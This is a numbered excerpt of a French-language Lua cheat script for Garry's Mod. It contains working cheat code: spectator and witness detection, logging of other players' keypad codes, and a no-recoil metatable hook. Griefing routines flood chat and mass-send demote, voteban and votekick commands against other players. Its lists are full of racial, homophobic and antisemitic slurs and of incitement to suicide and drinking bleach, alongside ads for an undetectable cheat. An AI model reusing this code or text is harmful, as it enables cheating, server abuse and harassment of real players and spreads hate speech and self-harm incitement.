  3317. function ZNX.ICanSeeMyAss( ply )
  3318. if ZNX.Vars.Thirdperson then return true end
  3319. return false
  3320. end
  3321. hook.Add("ShouldDrawLocalPlayer", "znx_drawplayer", ZNX.ICanSeeMyAss)
  3322. -- it would be very wise to keep this D�sactiver for now
  3323. --[[
  3324. function ZNX.Transparency()
  3325. if ZNX.Vars.XrayProps then
  3326. for k, v in pairs(ents.GetAll()) do
  3327. render.SuppressEngineLighting( true )
  3328. end
  3329. end
  3330. end
  3331. hook.Add("RenderScene", "znx_transparency", ZNX.Transparency)
  3332. --]]
  3333. function ZNX.CheckWitnesses()
  3334. if !ZNX.Vars.WitnessDetector then return end
  3335. ZNX.Witnesses = {}
  3336. for k, v in pairs(player.GetAll()) do
  3337. if v:IsValid() and v != LocalPlayer() then
  3338. local Trace = {}
  3339. Trace.start = LocalPlayer():EyePos() + Vector(0, 0, 32)
  3340. Trace.endpos = v:EyePos() + Vector(0, 0, 32)
  3341. Trace.filter = {v, LocalPlayer()}
  3342. TraceRes = util.TraceLine(Trace)
  3343. if !TraceRes.Hit then
  3344. if (v:EyeAngles():Forward():Dot((LocalPlayer():EyePos() - v:EyePos())) > math.cos(math.rad(45))) then
  3345. if !table.HasValue(ZNX.Witnesses, v) then table.insert( ZNX.Witnesses, v ) end
  3346. end
  3347. end
  3348. end
  3349. end
  3350. end
  3351. timer.Create("znx_WitnessCheck", 0.5, 0, ZNX.CheckWitnesses)
  3352. function ZNX.XrayShutoff()
  3353. for k, v in pairs(ents.GetAll()) do
  3354. v:SetColor(Color(255,255,255,255))
  3355. end
  3356. end
  3357. local demotereasons = {
  3358. "N�gre",
  3359. "Fils de putain",
  3360. "T�te de bite",
  3361. "Sale Gay",
  3362. "Batard",
  3363. "Salope",
  3364. "Abruti",
  3365. "Blaireau",
  3366. "Sac a merde",
  3367. "Trou du cul",
  3368. "Serveur de merde",
  3369. "Con comme ses pieds",
  3370. "Bougnoul",
  3371. "Con comme une chaise",
  3372. "Con comme une valise sans poign�e",
  3373. "Envaselineur",
  3374. "Fils de chienne",
  3375. }
  3376. ------------------------------------------------------------------------INSULT GENERATOR--------------------------------------------------------------------------------------
  3377. local openers = {
  3378. "va te faire baiser",
  3379. "mange merde",
  3380. "encule un babouin",
  3381. "meurent dans un incendie",
  3382. "gaz toi",
  3383. "assis toi sur un cisaille de jardinier",
  3384. "pousse une brique dans ton cul",
  3385. "avale des barbel�s",
  3386. "d�gage en Su�de",
  3387. "encule un cochon",
  3388. "Incline toi devant moi",
  3389. "suce mes boule en sueur",
  3390. "revient quand tu ne sera plus un d�chets",
  3391. "je pisserai sur tout ce que tu aime",
  3392. "suicide toi",
  3393. "pends toi",
  3394. "�touffe-toi avec ta bite",
  3395. "sort la de ton cul",
  3396. "assis toi sur une bite de cheval",
  3397. "fait toi viol�",
  3398. "fait toi violer par des n�gres",
  3399. "ta m�re est une putain",
  3400. "viens a moi",
  3401. "pourquoi tu ne t'es pas encore suicid�",
  3402. "pourquoi tu existe ?",
  3403. "explose toi les couilles avec un fusil",
  3404. "fait toi st�riliser",
  3405. "converti toi a l'islam",
  3406. "bois de l'eau de javel",
  3407. "supprime toi",
  3408. "�touffe toi sur une bite des baleine",
  3409. "suce de la merde",
  3410. "suce une bite",
  3411. "l�che mon sphincter",
  3412. "mets-toi le feu",
  3413. "fait toi battre a mort par ton p�re",
  3414. "�touffer toi sur la bite de ton oncle",
  3415. "va te faire �craser par une f�ministe de 200 kg",
  3416. "rejoin daesh",
  3417. "enfonce ta bite dans un mixeur",
  3418. "fait une overdose de meth",
  3419. "allonge toi sous un camion",
  3420. "l�che une prise �lectrique",
  3421. "avale des charbons ardents",
  3422. "meurent lentement",
  3423. "fait toi exploser",
  3424. "fait toi tirer dans un bar gay",
  3425. "bois ton foutre",
  3426. "�pouse un musulman",
  3427. "frotte ta bite sur une r�pe a fromage",
  3428. "enveloppe un r�teau avec du fil barbel� et rentre le dans ton cul",
  3429. }
  3430. local buyourshitfaggot = {
  3431. "VAC + HAC + SAC : NON D�TECT�",
  3432. "DEVIENT UN MEILLEUR JOUEUR",
  3433. "EX�CUTEZ TOUTS LES SCRIPTS LUA : NON D�TECT�",
  3434. "SOYEZ LE MEILLEUR QUAND VOUS ACHETEZ LE MEILLEUR",
  3435. "FAITE PLEURER LES ENFANTS EN DARKRP",
  3436. "D�MOLIR LE LUA",
  3437. "ENVOYER LES NOOBS DANS LA SALET�",
  3438. "FAITE CRASH LES SERVEURS",
  3439. "HACK PARTOUT, N'IMPORTE QUAND, N'IMPORTE QUI",
  3440. "D�TRUIRE TOUS LES ANTICHEATS",
  3441. "D�TEND LES F�MINISTES",
  3442. "LANCER UN SECOND HOLOCAUSTE",
  3443. "FATIGU� D'�TRE UN PUTAIN DE PERDANT ?",
  3444. "DEVIENT UNBANNISSABLE",
  3445. "#1 CAUSE DES SUICIDES D'ADMIN",
  3446. "PAS DE GROSSE",
  3447. "AIME-TU TRICHER ?",
  3448. "ETRE R�GLO C'EST POUR LES PERDANTS",
  3449. "VOS LOOSERS DE PARENTS NE VOUS ONT JAMAIS ACHET� DE JOUETS CES COOL",
  3450. }
  3451. function ZNX.GenerateInsult()
  3452. return table.Random(openers)
  3453. end
  3454. function ZNX.GeneratePromo()
  3455. return table.Random(buyourshitfaggot).." --> NIQUE TA MERE"
  3456. end
  3457. function ZNX.FormatChatString( str )
  3458. str = string.Replace( str, "@1", ZNX.GenerateInsult() )
  3459. str = string.Replace( str, "@PrenezLokidevMenu", ZNX.GeneratePromo() )
  3460. return str
  3461. end
  3462. concommand.Add("LokiDev_insult", function() LocalPlayer():ConCommand("say "..ZNX.GenerateInsult() ) end)
  3463. concommand.Add("LokiDev_chatspam_once", function()
  3464. local txt = ZNX.ChatSpamText
  3465. if ZNX.Vars.ChatSpamOOC then txt = "// "..txt end
  3466. txt = ZNX.FormatChatString( txt )
  3467. if ZNX.Vars.ChatSpamPM then
  3468. for _, p in pairs(player.GetAll()) do
  3469. if !ZNX.Vars.ChatSpamPMAdmins and ZNX.GetRank( p ) != ( "user" or "guest" or "player" ) then continue end
  3470. RunConsoleCommand("ulx", "psay", p:Nick(), txt)
  3471. end
  3472. else
  3473. RunConsoleCommand("say", txt)
  3474. end
  3475. end)
  3476. --ZNX.CurrentBase = 0
  3477. --ZNX.BaseAreaSize = 2000
  3478. function ZNX.SetBase()
  3479. ZNX.ChatText( "Set base location", Color(255,255,255) )
  3480. ZNX.CurrentBase = LocalPlayer():GetPos()
  3481. end
  3482. concommand.Add( "LokiDev_base_set", ZNX.SetBase )
  3483. function ZNX.UnsetBase()
  3484. ZNX.ChatText( "Removed base", Color(255,255,255) )
  3485. ZNX.CurrentBase = 0
  3486. end
  3487. concommand.Add( "LokiDev_base_remove", ZNX.UnsetBase )
  3488. function ZNX.SetBaseSize( p, cmd, arg, astr )
  3489. if !tonumber( arg[1] ) then ZNX.ChatText( "Veuillez sp�cifier un rayon de base valide en m�tres", Color(255,205,205) ) return end
  3490. ZNX.ChatText( "Rayon de proximit� de la base d�fini sur "..arg[1].."m", Color(255,255,255) )
  3491. ZNX.BaseAreaSize = arg[1]
  3492. end
  3493. concommand.Add( "LokiDev_base_setsize", ZNX.SetBaseSize )
  3494. local elements = {
  3495. { -- Screen
  3496. x = 0.075,
  3497. y = 0.04,
  3498. w = 0.85,
  3499. h = 0.25,
  3500. },
  3501. { -- ABORT
  3502. x = 0.075,
  3503. y = 0.04 + 0.25 + 0.03,
  3504. w = 0.85 / 2 - 0.04 / 2 + 0.05,
  3505. h = 0.125,
  3506. text = "ABORT",
  3507. },
  3508. { -- OK
  3509. x = 0.5 + 0.04 / 2 + 0.05,
  3510. y = 0.04 + 0.25 + 0.03,
  3511. w = 0.85 / 2 - 0.04 / 2 - 0.05,
  3512. h = 0.125,
  3513. text = "OK",
  3514. }
  3515. }
  3516. do -- Create numbers
  3517. for i = 1, 9 do
  3518. local column = (i - 1) % 3
  3519. local row = math.floor((i - 1) / 3)
  3520. local element = {
  3521. x = 0.075 + (0.3 * column),
  3522. y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row),
  3523. w = 0.25,
  3524. h = 0.13,
  3525. text = tostring(i),
  3526. }
  3527. table.insert(elements, element)
  3528. end
  3529. end
  3530. function ZNX.CalculateKeypadCursorPos(ply, ent)
  3531. if !ply:IsValid() then return end
  3532. local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
  3533. if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
  3534. local scale = ent.Scale
  3535. if !scale then return 0, 0 end
  3536. local pos, ang = ent:CalculateRenderPos(), ent:CalculateRenderAng()
  3537. if !pos or !ang then return 0, 0 end
  3538. local normal = ent:GetForward()
  3539. local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
  3540. if !intersection then return 0, 0 end
  3541. local diff = pos - intersection
  3542. local x = diff:Dot( -ang:Forward() ) / scale
  3543. local y = diff:Dot( -ang:Right() ) / scale
  3544. return x, y
  3545. end
  3546. function ZNX.KPGetHoveredElement(ply, ent)
  3547. local scale = ent.Scale
  3548. local w, h = ent.Width2D, ent.Height2D
  3549. local x, y = ZNX.CalculateKeypadCursorPos(ply, ent)
  3550. for _, element in ipairs(elements) do
  3551. local element_x = w * element.x
  3552. local element_y = h * element.y
  3553. local element_w = w * element.w
  3554. local element_h = h * element.h
  3555. if element_x < x and element_x + element_w > x and
  3556. element_y < y and element_y + element_h > y
  3557. then
  3558. return element
  3559. end
  3560. end
  3561. end
  3562. ZNX.ShekelGrabbers = {}
  3563. local nxsuicidemsg = 0
  3564. function ZNX.Logic()
  3565. local me = LocalPlayer()
  3566. if !me:IsValid() then return end
  3567. local lmemfootprint = gcinfo()
  3568. for k, v in pairs(player.GetAll()) do
  3569. -- spectator detector
  3570. if( v:GetObserverTarget() and v != me and v:GetObserverTarget() == me and !table.HasValue( ZNX.TheyHaveEyesEverywhere, v ) ) then
  3571. surface.PlaySound("buttons/bell1.wav")
  3572. ZNX.ChatText( v:Nick().." te regarde en sp�ctateur!", Color(255,100,0) )
  3573. table.insert( ZNX.TheyHaveEyesEverywhere, v )
  3574. end
  3575. if ZNX.Vars.DodgeArrest then
  3576. if v != me and v:EyePos():Distance( me:GetPos() ) < 120 and me:Alive() and ( v:GetActiveWeapon() and v:GetActiveWeapon():IsValid() and v:GetActiveWeapon():GetClass() == "arrest_stick" ) then
  3577. if nxsuicidemsg <= CurTime() then
  3578. ZNX.ChatText( "Automatiquement suicid� pour �viter d'�tre arr�t� par "..v:Nick(), Color(255,255,255) )
  3579. nxsuicidemsg = CurTime() + 1
  3580. end
  3581. RunConsoleCommand( "kill" )
  3582. end
  3583. end
  3584. if ZNX.Vars.KeypadJew then
  3585. local kp = v:GetEyeTrace().Entity
  3586. if IsValid(kp) && IsValid(v) and string.find( kp:GetClass(), "Keypad") and v:EyePos():Distance(kp:GetPos()) <= 120 then
  3587. kp.tempCode = kp.tempCode or ""
  3588. kp.tempText = kp.tempText or ""
  3589. kp.tempStatus = kp.tempStatus or 0
  3590. if kp:GetText() != kp.tempText or kp:GetStatus() != kp.tempStatus then
  3591. kp.tempText = kp:GetText()
  3592. kp.tempStatus = kp:GetStatus()
  3593. if(kp.tempText && !kp:GetSecure()) then
  3594. kp.tempCode = kp.tempText
  3595. timer.Simple(0, function()
  3596. if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
  3597. kp.code = kp.tempCode
  3598. end
  3599. end)
  3600. else
  3601. local i = ZNX.KPGetHoveredElement(v, kp)
  3602. if (i) then i = i.text end
  3603. if kp.tempText then
  3604. timer.Simple(0, function()
  3605. if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
  3606. kp.code = kp.tempCode
  3607. end
  3608. end)
  3609. end
  3610. if kp.tempText == "" || kp:GetStatus() == 2 then
  3611. kp.tempCode = ""
  3612. end
  3613. timer.Simple(0, function()
  3614. if(tonumber(i) && kp:GetText():len() != 0) then
  3615. kp.tempCode = kp.tempCode..i
  3616. end
  3617. end)
  3618. end
  3619. end
  3620. end
  3621. end
  3622. if isvector( ZNX.CurrentBase ) then
  3623. --if v == me then continue end
  3624. if ZNX.ToMetric( v:GetPos():Distance( ZNX.CurrentBase ) ) < tonumber(ZNX.BaseAreaSize+ ZNX.NumberVars.AreaScrollerSize) then
  3625. if !table.HasValue( ZNX.ShekelGrabbers, v ) then
  3626. surface.PlaySound("buttons/bell1.wav")
  3627. if v == me then
  3628. ZNX.ChatText( "Vous etes entr� dans votre Zone!", Color(150,150,150) )
  3629. else
  3630. ZNX.ChatText( v:Nick().." es entr� dans votre Zone!", Color(255,205,0) )
  3631. end
  3632. table.insert( ZNX.ShekelGrabbers, v )
  3633. end
  3634. elseif table.HasValue( ZNX.ShekelGrabbers, v ) and ZNX.ToMetric( v:GetPos():Distance( ZNX.CurrentBase ) ) > tonumber(ZNX.BaseAreaSize+ ZNX.NumberVars.AreaScrollerSize) then
  3635. if v == me then
  3636. ZNX.ChatText( "Vous avez quitt� votre Zone", Color(150,150,150) )
  3637. else
  3638. ZNX.ChatText( v:Nick().." a quitt� votre Zone", Color(100,255,100) )
  3639. end
  3640. table.RemoveByValue( ZNX.ShekelGrabbers, v )
  3641. end
  3642. else
  3643. ZNX.ShekelGrabbers = {}
  3644. end
  3645. end
  3646. for k,v in pairs( ZNX.TheyHaveEyesEverywhere ) do
  3647. if( !IsValid( v ) ) then table.remove( ZNX.TheyHaveEyesEverywhere, k ) continue end
  3648. if( !v:GetObserverTarget() or ( v:GetObserverTarget() and v:GetObserverTarget() != me ) ) then
  3649. ZNX.ChatText( v:Nick().." a arreter de vous spectate!", Color(100,255,100) )
  3650. table.remove( ZNX.TheyHaveEyesEverywhere, k )
  3651. end
  3652. end
  3653. if ZNX.Vars.ChatSpam then
  3654. if ZNX.Vars.ChatSpamBind and !me:KeyDown(IN_WALK) then return end
  3655. local txt = ZNX.ChatSpamText
  3656. if ZNX.Vars.ChatSpamOOC then txt = "// "..txt end
  3657. txt = ZNX.FormatChatString( txt )
  3658. if ZNX.Vars.ChatSpamPM then
  3659. for _, p in pairs(player.GetAll()) do
  3660. if !ZNX.Vars.ChatSpamPMAdmins and ZNX.GetRank( p ) != ( "user" or "guest" or "player" ) then continue end
  3661. RunConsoleCommand("ulx", "psay", p:Nick(), txt)
  3662. end
  3663. else
  3664. RunConsoleCommand("say", txt)
  3665. end
  3666. end
  3667. if ZNX.Vars.DemoteSpam or ZNX.Vars.WantedSpam or ZNX.Vars.ULXVotekickSpam or ZNX.Vars.ULXVotebanSpam then
  3668. for k, v in RandomPairs(player.GetAll()) do
  3669. if ZNX.IsFriend( v ) or v == me then continue end
  3670. local fag1, fag2 = table.Random( demotereasons )
  3671. if ZNX.Vars.DemoteSpam then RunConsoleCommand( "darkrp", "demote", v:Nick(), fag1 ) end
  3672. if ZNX.Vars.WantedSpam then RunConsoleCommand( "darkrp", "wanted", v:Nick(), fag1 ) end
  3673. if ZNX.Vars.ULXVotekickSpam then RunConsoleCommand( "ulx", "votekick", v:Nick(), fag1 ) end
  3674. if ZNX.Vars.ULXVotebanSpam then RunConsoleCommand( "ulx", "voteban", v:Nick(), "0" ) end
  3675. end
  3676. end
  3677. if ZNX.Vars.FlashlightSpam then
  3678. if input.IsKeyDown(KEY_F) then me:ConCommand("impulse 100") end
  3679. end
  3680. ZNX.MemoryDebug["logic"] = gcinfo() - lmemfootprint
  3681. end
  3682. hook.Add("Think", "znx_logic", ZNX.Logic)
  3683. function ZNX.PKTube()
  3684. local oldwep = false
  3685. if !LocalPlayer():IsOnGround() then ZNX.ChatText( "Vous ne pouvez pas lancer le tube quand vous n'�tes pas au sol!", Color(255,100,0) ) return end
  3686. if !LocalPlayer():HasWeapon("weapon_physgun") then ZNX.ChatText( "Vous n'avez pas de physgun!", Color(255,100,0) ) return end
  3687. if LocalPlayer():GetActiveWeapon():GetClass() != "weapon_physgun" then RunConsoleCommand( "use", "weapon_physgun" ) oldwep = true end
  3688. ZNX.EyeAngles( LocalPlayer():EyeAngles() - Angle(-180,0,0) )
  3689. ZNX.ActionTimer( 0.05, function() RunConsoleCommand( "gm_spawn", "models/props_phx/construct/concrete_pipe01.mdl") end)
  3690. ZNX.ActionTimer( 0.05, function() ZNX.EyeAngles( LocalPlayer():EyeAngles() - Angle(120,0,0) ) end)
  3691. ZNX.ActionTimer( 0.1, function() RunConsoleCommand( "+attack") end)
  3692. ZNX.ActionTimer( 0.05, function() ZNX.ScrollDelta = 100 end)
  3693. ZNX.ActionTimer( 0.1, function() RunConsoleCommand( "-attack") ZNX.ScrollDelta = 0 end)
  3694. if oldwep then
  3695. ZNX.ActionTimer( 0.01, function() RunConsoleCommand( "lastinv") end)
  3696. end
  3697. ZNX.ActionTimer( 0.1, function() RunConsoleCommand( "undo") end, true)
  3698. end
  3699. concommand.Add("LokiDev_pk_tubelaunch", ZNX.PKTube)
  3700. function ZNX.PK180()
  3701. ZNX.EyeAngles( Angle(LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r) )
  3702. end
  3703. concommand.Add("LokiDev_pk_180", ZNX.PK180)
  3704. function ZNX.PK180Up()
  3705. --ZNX.EyeAngles( Angle(LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r) )
  3706. ZNX.EyeAngles( Angle( -LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 180, LocalPlayer():EyeAngles().r) )
  3707. RunConsoleCommand( "+jump")
  3708. timer.Simple(0.1, function() RunConsoleCommand( "-jump") end)
  3709. end
  3710. concommand.Add("LokiDev_pk_180up", ZNX.PK180Up)
  3711. function ZNX.ClimbSwep()
  3712. local oldang = LocalPlayer():EyeAngles()
  3713. ZNX.EyeAngles( Angle( -LocalPlayer():EyeAngles().p, LocalPlayer():EyeAngles().y - 90, LocalPlayer():EyeAngles().r) )
  3714. timer.Simple(0.15, function() ZNX.EyeAngles( oldang ) end)
  3715. end
  3716. concommand.Add("LokiDev_climbswep", ZNX.ClimbSwep)
  3717. function ZNX.EyeAngles( ang )
  3718. local ang = Angle(math.Clamp(ang.p, -90, 90), ang.y, ang.r)
  3719. ang:Normalize()
  3720. LocalPlayer():SetEyeAngles(ang)
  3721. end
  3722. local actiontime = 0
  3723. function ZNX.ActionTimer( delay, func, terminate )
  3724. terminate = terminate or false
  3725. actiontime = actiontime + delay + (LocalPlayer():Ping() / 1000)
  3726. timer.Simple( actiontime, func)
  3727. if terminate then actiontime = 0 end
  3728. end
  3729. function ZNX.CanSee( ply )
  3730. local Trace = util.TraceLine( {
  3731. start = LocalPlayer():GetShootPos(),
  3732. endpos = ZNX.FindTargetPosition( ply ),
  3733. mask = MASK_SHOT,
  3734. filter = { LocalPlayer(), ply }
  3735. } )
  3736. return !Trace.Hit
  3737. end
  3738. ------------------------------------------------------------------------PROPKILL UTILS--------------------------------------------------------------------------------------
  3739. function ZNX.PhysgunPickup( p, e )
  3740. if ZNX.Vars.DontTouchMeThere and e == LocalPlayer() then RunConsoleCommand( "kill" ) end
  3741. ZNX.HoldingProp = e
  3742. end
  3743. function ZNX.PhysgunDrop( p, e )
  3744. -- ZNX.HoldingProp = game.GetWorld()
  3745. end
  3746. hook.Add( "PhysgunPickup", "znx_physgun", ZNX.PhysgunPickup )
  3747. hook.Add( "PhysgunDrop", "znx_physgun", ZNX.PhysgunDrop )
  3748. ------------------------------------------------------------------------WEAPON INSPECTOR--------------------------------------------------------------------------------------
  3749. local function gaytext( parent, text, vpos, color )
  3750. local ABLabel = vgui.Create( "DLabel", parent )
  3751. ABLabel:SetFont( "TargetID" )
  3752. ABLabel:SetPos( 20, vpos)
  3753. ABLabel:SetColor( color )
  3754. ABLabel:SetText( text )
  3755. ABLabel:SizeToContents()
  3756. end
  3757. local overrides = {
  3758. ["weapon_crowbar"] = {
  3759. Damage = 25,
  3760. NumShots = 1,
  3761. ClipSize = 1,
  3762. Delay = 0.404
  3763. },
  3764. ["weapon_stunstick"] = {
  3765. Damage = 40,
  3766. NumShots = 1,
  3767. ClipSize = 1,
  3768. Delay = 0.81
  3769. },
  3770. ["weapon_pistol"] = {
  3771. Damage = 12,
  3772. NumShots = 1,
  3773. ClipSize = 18,
  3774. Ammo = "pistol",
  3775. Delay = 0.12,
  3776. },
  3777. ["weapon_357"] = {
  3778. Damage = 75,
  3779. NumShots = 1,
  3780. ClipSize = 6,
  3781. Ammo = "357",
  3782. Delay = 0.75,
  3783. },
  3784. ["weapon_smg1"] = {
  3785. Damage = 12,
  3786. NumShots = 1,
  3787. ClipSize = 45,
  3788. Ammo = "SMG1",
  3789. Delay = 0.075,
  3790. },
  3791. ["weapon_shotgun"] = {
  3792. Damage = 4,
  3793. NumShots = 7,
  3794. ClipSize = 6,
  3795. Ammo = "buckshot",
  3796. Delay = 0.9,
  3797. },
  3798. ["weapon_ar2"] = {
  3799. Damage = 11,
  3800. NumShots = 1,
  3801. ClipSize = 30,
  3802. Delay = 0.105,
  3803. },
  3804. ["weapon_crossbow"] = {
  3805. Damage = 100,
  3806. NumShots = 1,
  3807. ClipSize = 1,
  3808. Delay = 1.95,
  3809. },
  3810. ["weapon_rpg"] = {
  3811. Damage = 150,
  3812. NumShots = 1,
  3813. ClipSize = 1,
  3814. Delay = 2.2,
  3815. },
  3816. ["weapon_frag"] = {
  3817. Damage = 150,
  3818. NumShots = 1,
  3819. ClipSize = 1,
  3820. Delay = 1.95,
  3821. },
  3822. ["fas2_rem870"] = {
  3823. Delay = .86,
  3824. },
  3825. ["fas2_ks23"] = {
  3826. Delay = 1.11,
  3827. },
  3828. ["fas2_m67"] = {
  3829. Damage = 160,
  3830. Delay = 1.75,
  3831. },
  3832. }
  3833. local ammostrings = {
  3834. pistol = "HL2 Pistol",
  3835. smg1 = "HL2 SMG",
  3836. ar2 = "HL2 Pulse Rifle",
  3837. ["357"] = "HL2 Magnum",
  3838. buckshot = "HL2 Shotgun",
  3839. rpg_round = "HL2 Rocket",
  3840. }
  3841. function ZNX.GunMenu()
  3842. if GMenu then return end
  3843. local GMenu = vgui.Create("DFrame")
  3844. GMenu:SetSize(590,520)
  3845. GMenu:SetTitle("Inspection de votre arme")
  3846. GMenu:Center()
  3847. GMenu:MakePopup()
  3848. GMenu.Paint = function(panel, w, h)
  3849. surface.SetDrawColor( ZNX.DefaultScheme )
  3850. surface.DrawRect( 0, 0, w, h )
  3851. surface.SetDrawColor( Color(155, 155, 155, 255) )
  3852. surface.DrawOutlinedRect( 0, 0, w, h )
  3853. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  3854. surface.SetDrawColor( Color(0, 0, 0, 255) )
  3855. surface.DrawRect( 10, 25, w - 20, h - 35 )
  3856. end
  3857. local gun = LocalPlayer():GetActiveWeapon()
  3858. if !gun:IsValid() then return end
  3859. local m9gay = false
  3860. local fas = false
  3861. local cw2 = false
  3862. if gun.Base == "bobs_gun_base" or gun.Base == "bobs_shotty_base" or gun.Base == "bobs_scoped_base" then m9gay = true end
  3863. if gun.Base == "fas2_base" or gun.Base == "fas2_base_shotgun" then fas = true end
  3864. if gun.Base == "cw_base" then cw2 = true end
  3865. gaytext( GMenu, "Nom de l'Arme: "..gun:GetPrintName(), 30, Color(205,225,255,255) )
  3866. gaytext( GMenu, "Classe d'Arme: "..gun:GetClass(), 50, Color(105,225,255,255) )
  3867. //////////////////////////////// hl2 guns ////////////////////////////////
  3868. if !gun.Primary then gun.Primary = {} end
  3869. if overrides[gun:GetClass()] then
  3870. local tab = overrides[gun:GetClass()]
  3871. for k, v in pairs(tab) do
  3872. gun.Primary[k] = v
  3873. end
  3874. end
  3875. //////////////////////////////// weapon stat workarounds ////////////////////////////////
  3876. local delay = 0
  3877. if gun.Primary.Delay then
  3878. delay = gun.Primary.Delay
  3879. elseif m9gay then
  3880. delay = 60 / gun.Primary.RPM
  3881. elseif fas or cw2 then
  3882. delay = gun.FireDelay
  3883. end
  3884. local gdmg = 0
  3885. if gun.Primary.Damage then
  3886. gdmg = gun.Primary.Damage
  3887. elseif fas or cw2 then
  3888. gdmg = gun.Damage
  3889. end
  3890. local gnumshots = 1
  3891. if gun.Primary.NumShots then
  3892. gnumshots = gun.Primary.NumShots
  3893. elseif fas or cw2 then
  3894. gnumshots = gun.Shots or 1
  3895. end
  3896. local gcone = 0
  3897. if gun.Primary.Cone then
  3898. gcone = gun.Primary.Cone
  3899. elseif m9gay then
  3900. gcone = gun.Primary.Spread
  3901. elseif fas then
  3902. gcone = gun.HipCone or 0
  3903. elseif cw2 then
  3904. gcone = gun.HipSpread or 0
  3905. end
  3906. local grecoil = 0
  3907. if gun.Primary.Recoil then
  3908. grecoil = gun.Primary.Recoil
  3909. elseif m9gay then
  3910. grecoil = gun.Primary.KickUp
  3911. elseif fas then
  3912. grecoil = gun.Recoil or 0
  3913. end
  3914. local voff = 90
  3915. gaytext( GMenu, "D�g�ts: "..(gdmg or "nil").." ( x"..(gnumshots or "nil").." ) -- ("..(gdmg * gnumshots).." Au total)", voff, Color(255,225,155,255) )
  3916. voff = voff + 20
  3917. if gun.Primary.ClipSize then
  3918. if gun.Primary.ClipSize == -1 then gun.Primary.ClipSize = 1 end
  3919. gaytext( GMenu, "D�g�ts par Chargeur: "..(gdmg * gnumshots) * gun.Primary.ClipSize, voff, Color(255,205,105,255) )
  3920. voff = voff + 20
  3921. end
  3922. gaytext( GMenu, "D�g�ts par Seconde: "..math.ceil(1 / delay * (gdmg * gnumshots)), voff, Color(255,155,85,255) )
  3923. voff = voff + 20
  3924. if gun.Primary.ClipSize then
  3925. gaytext( GMenu, "Chargeurs: "..(gun.Primary.ClipSize or "Aucun Chargeurs"), voff, Color(255,195,195,255) )
  3926. voff = voff + 20
  3927. gaytext( GMenu, "Temps de Rechargement: "..math.Round(gun.Primary.ClipSize * delay, 3).."s", voff, Color(255,95,155,255) )
  3928. voff = voff + 20
  3929. end
  3930. gaytext( GMenu, "Pr�cision: "..(10 - (gcone * 100) ), voff, Color(255,255,155,255) )
  3931. voff = voff + 20
  3932. if fas then
  3933. gaytext( GMenu, "Pr�cision en Vis�: "..(10 - (gun.AimCone or 0 * 100) ), voff, Color(155,255,155,255) )
  3934. voff = voff + 20
  3935. end
  3936. if cw2 then
  3937. gaytext( GMenu, "Pr�cision en Vis�: "..(10 - (gun.AimSpread or 0 * 100) ), voff, Color(155,255,155,255) )
  3938. voff = voff + 20
  3939. end
  3940. gaytext( GMenu, "Cadence de Tir: "..math.Round(delay, 3).." ( "..math.ceil(60 / delay).." Balles/Min )", voff, Color(255,255,155,255) )
  3941. voff = voff + 20
  3942. --gaytext( GMenu, "Recoil: "..grecoil.." ( "..math.Round((grecoil * 10) * 1 / delay, 1).." recoil per second ) ", voff, Color(205,255,125,255) )
  3943. --voff = voff + 20
  3944. if gun.Primary.Ammo then
  3945. local ammotyperaw = gun.Primary.Ammo
  3946. local ammotype = string.lower(gun.Primary.Ammo)
  3947. if ammostrings[ammotype] then ammotyperaw = ammostrings[ammotype] end
  3948. gaytext( GMenu, "Type de Munitions: "..ammotyperaw, voff, Color(105,255,125,255) )
  3949. voff = voff + 20
  3950. end
  3951. if m9gay then gaytext( GMenu, "Les d�g�ts et les stats TTK sont impr�cis en raison du bug m9k double p�n�tration", voff, Color(255,0,0,255) ) end
  3952. voff = voff + 40
  3953. gaytext( GMenu, "Tirs pour Tuer: "..math.ceil(50 / (gdmg * gnumshots) ).."x tir t�te -- "..math.ceil(100 / (gdmg * gnumshots)).."x tir torse -- "..math.ceil(400 / (gdmg * gnumshots)).."x tir bras", voff, Color(255,125,155,255) )
  3954. voff = voff + 20
  3955. gaytext( GMenu, "Tirs pour Tuer (Armure): "..math.ceil(100 / (gdmg * gnumshots) ).."x tir torse -- "..math.ceil(200 / (gdmg * gnumshots)).."x tir torse -- "..math.ceil(800 / (gdmg * gnumshots)).."x tir bras", voff, Color(255,125,255,255) )
  3956. voff = voff + 40
  3957. local ttk = (delay * math.ceil(100 / (gdmg * gnumshots) )) - delay
  3958. local ttk2 = (delay * math.ceil(50 / (gdmg * gnumshots) )) - delay
  3959. local ttk3 = (delay * math.ceil(400 / (gdmg * gnumshots) )) - delay
  3960. local ttk4 = (delay * math.ceil(200 / (gdmg * gnumshots) )) - delay
  3961. local ttk5 = (delay * math.ceil(800 / (gdmg * gnumshots) )) - delay
  3962. gaytext( GMenu, "Temps pour Tuer: "..math.Round(ttk2, 3).."s (T�te) -- "..math.Round(ttk, 3).."s (Torse) -- "..math.Round(ttk3, 3).."s (Bras)", voff, Color(205,255,185,255) )
  3963. voff = voff + 20
  3964. gaytext( GMenu, "Temps pour Tuer (Armure): "..math.Round(ttk, 3).."s (T�te) -- "..math.Round(ttk4, 3).."s (Torse) -- "..math.Round(ttk5, 3).."s (Bras)", voff, Color(155,155,255,255) )
  3965. voff = voff + 20
  3966. end
  3967. concommand.Add("LokiDev_inspectweapon", ZNX.GunMenu)
  3968. ------------------------------------------------------------------------AIMBOT UTIL FUNCTIONS--------------------------------------------------------------------------------------
  3969. -- get this from a better place fucknuts
  3970. local OEyeAngles = OEyeAngles or FindMetaTable( "Player" ).SetEyeAngles
  3971. FindMetaTable( "Player" ).SetEyeAngles = function( self, angle )
  3972. if ( string.find( string.lower( debug.getinfo( 2 ).short_src ), "/weapons/" ) ) and ZNX.Vars.NoRecoil then return end
  3973. OEyeAngles( self, angle )
  3974. end
  3975. local shitweapons = {
  3976. "weapon_physgun",
  3977. "weapon_physcannon",
  3978. "weapon_bugbait",
  3979. "weapon_fists",
  3980. "gmod_camera",
  3981. "gmod_tool",
